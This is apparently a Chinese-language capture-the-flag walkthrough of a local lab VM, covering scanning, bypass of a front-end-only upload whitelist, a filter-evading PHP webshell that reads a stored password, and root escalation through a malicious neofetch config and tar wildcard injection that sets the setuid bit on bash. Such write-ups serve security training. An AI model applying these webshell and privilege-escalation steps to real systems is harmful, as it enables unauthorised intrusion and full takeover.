111z-MJ

1.信息收集

```
┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 07:21 EST
Nmap scan report for 192.168.2.70
Host is up (0.000064s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:F0:67:A6 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 10.63 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -O -p22,80 192.168.2.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 07:22 EST
Nmap scan report for 192.168.2.70
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: MazeSec \xE5\x9B\xBE\xE5\xBA\x8A
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:F0:67:A6 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (98%), OpenWrt 21.02 (Linux 5.4)
(98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 6.0 (97%), Linux
4.19 (96%), Linux 5.0 - 5.14 (94%), Linux 5.4 - 5.10 (94%), Linux 2.6.32
(94%), Linux 3.2 - 4.14 (94%), Linux 4.15 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p22,80 192.168.2.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 07:22 EST
Nmap scan report for 192.168.2.70
Host is up (0.00059s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.2.70
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://192.168.2.70:80/
|     Form id: uploadform
|_    Form action: upload.php
| http-fileupload-exploiter:
|
|     Failed to upload and execute a payload.
|
|_    Failed to upload and execute a payload.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
|   /info.php: Possible information file
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.62
(debian)'
MAC Address: 08:00:27:F0:67:A6 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 37.56 seconds

┌──(root㉿kali)-[/tmp/test]
└─# nmap -sU --top-ports 20 192.168.2.70
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-17 07:22 EST
Nmap scan report for 192.168.2.70
Host is up (0.00078s latency).

PORT      STATE         SERVICE
```

```
53/udp    open|filtered domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   closed        netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown
MAC Address: 08:00:27:F0:67:A6 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds
```

常规tcp与udp扫描，tcp开放22 80端口，udp目前不做过多处理，可以看到80端口存在uploads目录

2.web渗透

web首页

```
┌──(root㉿kali)-[/tmp/test]
└─# curl http://192.168.2.70/
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>MazeSec 图床</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
```

```
        }

        body {
            font-family: 'Arial', sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }

        .container {
            background: white;
            border-radius: 15px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            overflow: hidden;
            width: 100%;
            max-width: 600px;
        }

        .header {
            background: linear-gradient(135deg, #2c3e50 0%, #3498db 100%);
            color: white;
            padding: 30px;
            text-align: center;
        }

        .logo {
            font-size: 2.5em;
            font-weight: bold;
            margin-bottom: 10px;
        }

        .slogan {
            font-size: 1.1em;
            opacity: 0.9;
            margin-bottom: 15px;
        }

        .quote {
            font-style: italic;
            font-size: 1em;
            border-left: 3px solid #e74c3c;
            padding-left: 15px;
            margin: 15px 0;
```

```
        }

        .upload-section {
            padding: 30px;
        }

        .upload-area {
            border: 2px dashed #3498db;
            border-radius: 10px;
            padding: 30px;
            text-align: center;
            transition: all 0.3s ease;
            cursor: pointer;
            margin-bottom: 20px;
        }

        .upload-area:hover {
            border-color: #2980b9;
            background: #f8f9fa;
        }

        .upload-area i {
            font-size: 2.5em;
            color: #3498db;
            margin-bottom: 15px;
        }

        .upload-text {
            font-size: 1.1em;
            color: #2c3e50;
            margin-bottom: 10px;
        }

        .file-input {
            display: none;
        }

        .browse-btn {
            background: #3498db;
            color: white;
            border: none;
            padding: 10px 25px;
            border-radius: 20px;
            cursor: pointer;
            font-size: 0.9em;
            transition: background 0.3s ease;
```

```
        }

        .browse-btn:hover {
            background: #2980b9;
        }

        .file-info {
            margin-top: 15px;
            font-size: 0.9em;
            color: #7f8c8d;
        }

        .upload-btn {
            background: #27ae60;
            color: white;
            border: none;
            padding: 12px 30px;
            border-radius: 20px;
            cursor: pointer;
            font-size: 1em;
            width: 100%;
            transition: background 0.3s ease;
        }

        .upload-btn:hover {
            background: #219a52;
        }

        .upload-btn:disabled {
            background: #bdc3c7;
            cursor: not-allowed;
        }

        .message {
            padding: 12px;
            border-radius: 5px;
            margin-top: 15px;
            display: none;
            font-size: 0.9em;
        }

        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
```

```
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="logo">MazeSec</div>
            <div class="slogan">安全图床服务平台</div>
            <div class="quote">迷径深处战千机，技艺同修共此行。</div>
        </div>

        <div class="upload-section">
            <form id="uploadForm" action="upload.php" method="post"
enctype="multipart/form-data">
                <div class="upload-area" id="uploadArea">
                    <i>📁</i>
                    <div class="upload-text">点击选择文件或拖拽文件到此区域</div>
                    <button type="button" class="browse-btn">选择文件</button>
                    <div class="file-info" id="fileInfo">支持格式: JPG, PNG,
GIF</div>
                    <input type="file" class="file-input" id="fileInput"
name="file">
                </div>

                <button type="submit" class="upload-btn" id="uploadBtn"
disabled>上传文件</button>

                <div class="message" id="message"></div>
            </form>
        </div>
    </div>

    <script>
        const fileInput = document.getElementById('fileInput');
        const uploadArea = document.getElementById('uploadArea');
        const fileInfo = document.getElementById('fileInfo');
        const uploadBtn = document.getElementById('uploadBtn');
        const message = document.getElementById('message');
        const uploadForm = document.getElementById('uploadForm');

        // 允许的文件扩展名（仅前端校验）
```

```
        const allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf',
'zip'];

        // 点击上传区域触发文件选择
        uploadArea.addEventListener('click', () => {
            fileInput.click();
        });

        // 浏览按钮点击
        document.querySelector('.browse-btn').addEventListener('click', (e) =>
{
            e.stopPropagation();
            fileInput.click();
        });

        // 文件选择变化
        fileInput.addEventListener('change', function(e) {
            const file = this.files[0];
            if (file) {
                // 前端文件扩展名验证
                const fileExtension =
file.name.split('.').pop().toLowerCase();

                if (!allowedExtensions.includes(fileExtension)) {
                    showMessage('错误：不支持的文件格式', 'error');
                    resetForm();
                    return;
                }

                // 文件验证通过
                fileInfo.innerHTML = `已选择: ${file.name} (${(file.size / 1024
/ 1024).toFixed(2)} MB)`;
                uploadBtn.disabled = false;
                uploadArea.style.borderColor = '#27ae60';
                uploadArea.style.background = '#f0fff4';
            }
        });

        // 拖拽功能
        uploadArea.addEventListener('dragover', (e) => {
            e.preventDefault();
            uploadArea.style.borderColor = '#27ae60';
            uploadArea.style.background = '#f0fff4';
        });

        uploadArea.addEventListener('dragleave', (e) => {
```

```
            e.preventDefault();
            if (!uploadArea.contains(e.relatedTarget)) {
                uploadArea.style.borderColor = '#3498db';
                uploadArea.style.background = '';
            }
        });

        uploadArea.addEventListener('drop', (e) => {
            e.preventDefault();
            const files = e.dataTransfer.files;
            if (files.length > 0) {
                fileInput.files = files;
                fileInput.dispatchEvent(new Event('change'));
            }
        });

        // 表单提交
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();

            const formData = new FormData(this);
            const uploadBtn = document.getElementById('uploadBtn');

            uploadBtn.disabled = true;
            uploadBtn.textContent = '上传中...';

            fetch('upload.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    showMessage(`上传成功! 文件路径: ${data.filepath}`,
'success');
                    resetForm();
                } else {
                    showMessage(`上传失败: ${data.error}`, 'error');
                    uploadBtn.disabled = false;
                }
            })
            .catch(error => {
                showMessage('上传出错: ' + error, 'error');
                uploadBtn.disabled = false;
            })
            .finally(() => {
```

```
                uploadBtn.textContent = '上传文件';
            });
        });

        function showMessage(text, type) {
            message.textContent = text;
            message.className = `message ${type}`;
            message.style.display = 'block';

            setTimeout(() => {
                message.style.display = 'none';
            }, 5000);
        }

        function resetForm() {
            fileInput.value = '';
            fileInfo.textContent = '支持格式: JPG, PNG, GIF';
            uploadBtn.disabled = true;
            uploadArea.style.borderColor = '#3498db';
            uploadArea.style.background = '';
        }
    </script>
</body>
</html>
```

可以看到首页是文件上传接口，有js代码判断，看注释是前端白名单校验，可以传图片马抓包改后缀绕过

传个马看一下phpinfo

```
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopp
ed,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl
_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_ge
t_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimed
wait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,s
hell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,system</td
><td
class="v">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcnt
l_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wter
msig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatc
h,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcnt
l_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_sign
als,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,
system
```

作者也是比较狗，基本上所有能执行命令的函数都被禁了，**eval没有在禁用列表中，是因为eval是语言构造器并非函数，经过传马测试eval同样被禁用了，这里不做展示**

uploads

691b13a089267_1.php	2025-11-17 07:22	30
691b13a17bf68_1.php3	2025-11-17 07:22	30
691b13a36c3c3_1.php3	2025-11-17 07:22	30
691b13a54cd3c_1.php3	2025-11-17 07:23	70
691b13a270de6_1.php	2025-11-17 07:22	30
691b13a460bef_1.php	2025-11-17 07:23	70
691b139ca21a6_1.php	2025-11-17 07:22	30
691b139da5827_1.php3	2025-11-17 07:22	30
691b139e9c43e_1.php	2025-11-17 07:22	30
691b139f985b1_1.php3	2025-11-17 07:22	30

可以看到nmap的脚本扫描也是很贴心的留下了一些马方便使用，不过估计用不了

爆破一下目录以及指定扩展名爆破看看有没有隐藏信息

```
┌──(root㉿kali)-[/tmp/test]
└─# dirb http://192.168.2.70/ -X .txt,.php,.zip

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Mon Nov 17 07:33:54 2025
URL_BASE: http://192.168.2.70/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.php,.zip) | (.txt)(.php)(.zip) [NUM = 3]

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.70/ ----
+ http://192.168.2.70/index.php (CODE:200|SIZE:9271)
+ http://192.168.2.70/upload.php (CODE:200|SIZE:86)

┌──(root㉿kali)-[/tmp/test]
└─# dirsearch -u "http://192.168.2.70/"
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 |
Wordlist size: 11460
```

```
Output File: /tmp/test/reports/http_192.168.2.70/__25-11-17_07-33-46.txt

Target: http://192.168.2.70/

[07:33:46] Starting:
[07:34:40] 200 -   86B  - /upload.php
[07:34:41] 200 -  663B  - /uploads/
[07:34:41] 301 -  314B  - /uploads  ->  http://192.168.2.70/uploads/
```

仅此而已了

经过测试，后端会检查文件内容，很多危险函数都被过滤，分号都过滤，最终传马

```
┌──(root㉿kali)-[/tmp/test]
└─# cat cmd.png
<?php $f=$_POST[1]?>
<?php $a=$_POST[2]?>
<?php scandir($f)?>
<?php var_dump($a)?>
```

至于他为什么能解析变量，并且能执行，就得问世界上最好的编程语言了

最终在opt下找到凭据

```
┌──(root㉿kali)-[/tmp/test]
└─# curl -X POST -d "1=/opt" http://192.168.2.70/uploads/691b19da55e6a_cmd.php
array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(6) "backup"
  [3]=>
  string(10) "llpass.txt"
}
┌──(root㉿kali)-[/tmp/test]
└─# curl -X POST -d "2=/opt/llpass.txt"
http://192.168.2.70/uploads/691b19da55e6a_cmd.php
<pre><code style="color: #000000">ll:Bp2tFMYfElkoMWlOUsOD1C30
</code></pre>bool(true)
```

3.提权

MJ

```
-bash-5.0$ sudo -l
Matching Defaults entries for ll on 111z:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ll may run the following commands on 111z:
    (mj) NOPASSWD: /usr/bin/neofetch

-bash-5.0$ neofetch --help
    --config /path/to/config    Specify a path to a custom config file
    有一行配置文件
```

可以写个恶意文件到tmp下让mj cp个bash然后加上s位

```
-bash-5.0$ cat config
#!/bin/bash
cp /bin/bash /tmp/mjbash
chmod a+s /tmp/mjbash

-bash-5.0$ sudo -u mj neofetch --config /tmp/config
       _,met$$$$$gg.          mj@111z
    ,g$$$$$$$$$$$$$$$P.       -------
  ,g$$P"     """Y$$.".        OS: Debian GNU/Linux 10 (buster) x86_64
 ,$$P'              `$$$.     Host: VirtualBox 1.2
',$$P       ,ggs.     `$$b:   Kernel: 4.19.0-27-amd64
`d$$'     ,$P"'   .    $$$    Uptime: 39 mins
 $$P      d$'     ,    $$P    Packages: 605 (dpkg)
 $$:      $$.   -    ,d$$'    Shell: bash 5.0.3
 $$;      Y$b._   _,d$P'      Resolution: preferred
 Y$$.    `.`"Y$$$$P"'         CPU: 13th Gen Intel i7-13650HX (1) @ 2.803GHz
 `$$b      "-.__              GPU: 00:02.0 VMware SVGA II Adapter
  `Y$$                        Memory: 128MiB / 1995MiB
   `Y$$.
     `$$b.
       `Y$$b.
          `"Y$b._
              `"""

-bash-5.0$ ls
config
```

```
mjbash
systemd-private-84df40ab2d7647888bf495f1760049f0-apache2.service-jnA9hi
systemd-private-84df40ab2d7647888bf495f1760049f0-systemd-logind.service-2CoBMh
systemd-private-84df40ab2d7647888bf495f1760049f0-systemd-timesyncd.service-
mWDH7h
-bash-5.0$ ls -al
total 1188
drwxrwxrwt 10 root root    4096 Nov 17 07:59 .
drwxr-xr-x 18 root root    4096 Mar 18  2025 ..
-rwxr-xr-x  1 ll   ll        59 Nov 17 07:58 config
-rwsr-sr-x  1 mj   mj   1168776 Nov 17 07:59 mjbash
```

提权到mj即可拿user.txt

root

写个公钥连上mj

```
-bash-5.0$ sudo -l
Matching Defaults entries for mj on 111z:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mj may run the following commands on 111z:
    (root) NOPASSWD: /opt/backup/backup.sh

-bash-5.0$ cat /opt/backup/backup.sh
#!/bin/bash
# 网站上传文件备份脚本

cd /var/www/html/uploads
tar czf /tmp/backup.tar.gz *
echo "Backup completed"
```

可以看到是tar而且脚本里还有无敌的通配符，拼接一下命令提权，tar提权方式很多可以去GTFobins看

```
-bash-5.0$ ls -al
total 12
drwxrwxr-x 2 www-data www-data 4096 Nov 17 08:06  .
drwxr-xr-x 3 www-data www-data 4096 Nov 16 06:52  ..
-rw-r--r-- 1 mj       mj          0 Nov 16 10:39 '--checkpoint=1'
-rw-r--r-- 1 mj       mj          0 Nov 16 10:39 '--checkpoint-action=exec=sh
shell.sh'
```

```
-rwxr-xr-x 1 mj       mj         19 Nov 16 10:39  shell.sh
-bash-5.0$ cat shell.sh
chmod +s /bin/bash

-bash-5.0$ sudo /opt/backup/backup.sh
Backup completed
-bash-5.0$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
-bash-5.0$ bash -p
bash-5.0# whoami
root
```

拿下

```
bash-5.0# cat /home/mj/user.txt && cat /root/root.txt
flag{user-5450dba90b514d69935be5eafbfd0077}
flag{root-2a7f2ddaed104d739e85e9857ab8fd04}
```